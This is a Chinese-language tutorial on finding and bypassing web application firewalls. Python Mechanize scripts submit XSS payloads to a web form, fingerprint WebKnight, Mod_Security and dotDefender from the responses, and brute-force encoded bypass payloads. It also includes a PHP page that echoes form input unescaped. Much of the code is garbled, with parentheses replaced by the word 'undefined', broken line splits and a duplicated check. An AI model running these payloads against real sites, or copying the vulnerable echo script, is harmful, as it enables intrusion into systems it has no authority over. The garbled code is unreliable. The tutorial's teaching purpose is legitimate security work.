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Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则。如今,许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程:
在基于签名的防火墙中你可以自定义签名,如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们,例如:
Payload:- <svg><script>alert`1`<p>
上面定义的是一种常见的XSS payload,我们知道所有这类攻击都可能包含- >“<script>”这些字符 ,因此我们可以在WAF中设定一个包含这些字符的的过滤规则,我们可以进行如下定义:
1. <script> 2. alert(*)
第一个签名将过滤任何包含<script>字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。
当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was
generated by Mod_Security
可以看到,我们的payload被名为Mod_Security的防火墙给过滤了。在本文中我将教大家编写一个简单的python脚本,以帮助我们完成检测任务并绕过防火墙。
首先,我们必须定义我们的HTML文档来注入payload和相应的PHP脚本以处理数据。
HTML文档定义如下:
<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
PHP脚本:
<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>
为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:
import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.
html")
maliciousRequest.select_form(formName)
让我来简单解释下这几行代码的用意:
在以上的HTML文档中,我们只定义了一个表单输入字段,我们将利用该字段注入我们的恶意payload,并通过检查http响应信息来判断目标是否部署了Web应用防火墙。
在HTML文档中我们定义了一个名为’data’的输入字段:
input type="text" name="data"><br>
因此,我们可以使用以下代码来提交我们的payload:
crossSiteScriptingPayLoad = "<svg><script>alert`1`
<p>"maliciousRequest.form['data'] = crossSiteScriptingPayLoad
下面我们提交此表单并记录响应信息:
maliciousRequest.submit()
response = maliciousRequest.response().read()
print response
由于我目前并未安装部署防火墙,所以我得到了如下响应:
可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。
变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。
看看我们如何用python代码实现检测:
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
这段代码首先我们对WebKnight的防火墙做了判断。如果目标环境安装了WebKnight,那么在我们的响应中将包含字符串“WebKnight”,并且find函数的返回值也将会大于0。同样,对于另外两个防火墙亦是如此。
当然我们还可以继续扩展我们的python脚本,用以检测更多的防火墙类型,但前提是必须了解这些防火墙的基本响应特征。
在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:
listofPayloads = ['<dialog open="" onclose="alertundefined1)">
<form method="dialog"><button>Close me!</button><
/form></dialog>', '<svg><script>prompt&#40
1&#41<i>', '<a href="&#1;javascript:alertundefined1)"
>CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = 'waf'
maliciousRequest.openundefined"http://check.cyberpersons.com/cross
SiteCheck.html")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined'WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
由于我并未安装部署防火墙,所以我得到了如下响应:
如果防火墙正在过滤html标签,如<,>。我们则可以尝试将这些实体进行Unicode或Hex转码再进行发送,如果被转化为原始形式,那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断:
listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSite
Check.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
我的输出结果如下:
从结果可以看到,并没有编码的条目被转换为其原始格式。
通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。
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